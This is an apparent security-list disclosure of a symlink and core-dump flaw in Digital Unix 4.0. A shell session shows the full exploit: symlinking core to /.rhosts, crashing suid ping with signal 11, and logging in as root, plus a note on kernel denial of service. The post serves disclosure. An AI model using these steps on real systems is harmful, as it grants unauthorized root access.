X-RDate: Tue, 07 Apr 1998 08:31:03 +0600 (ESD)
Date: Sun, 6 Apr 1997 18:32:39 +0200
From: root <[email protected]>
To: [email protected]Subject: Symlink problem (Tested only on a Digital Unix 4.0)
Symlink problem in Digital Unix 4.0, discovered by |-ru5ty- and [SoReN]
(28/03/1998)
Starting 2 suid root programs in background, and killing them with -11 flag,
we'll have a core root owned with our gid and mode 600. Then is enough a
symlink
to create a file everywhere...like /.rhosts.
[email protected][email protected]
$ ls -l /.rhosts
/.rhosts not found
$ ls -l /usr/sbin/ping
-rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping
$ ln -s /.rhosts core
$ IMP='
>+ +
>'
$ ping somehost &
[1] 1337
$ ping somehost &
[2] 31337
$ kill -11 31337
$ kill -11 1337
[1] Segmentation fault /usr/sbin/ping somehost (core dumped)
[2] +Segmentation fault /usr/sbin/ping somehost (core dumped)
$ ls -l /.rhosts
-rw------- 1 root system 385024 Mar 29 05:17 /.rhosts
##/.rhosts has been created....that's all.##
$ rlogin localhost -l root
Is a very serious problem, it needs a fix as soon as possible,
infact we can have a DoS if we link our core to the kernel.
Other platforms:
SunOs 4.1.x 5.5.x Doesn't work
Linux 2.0.x Doesn't work
Digital Unix 4.0d Doesn't work
Others (note tested yet)
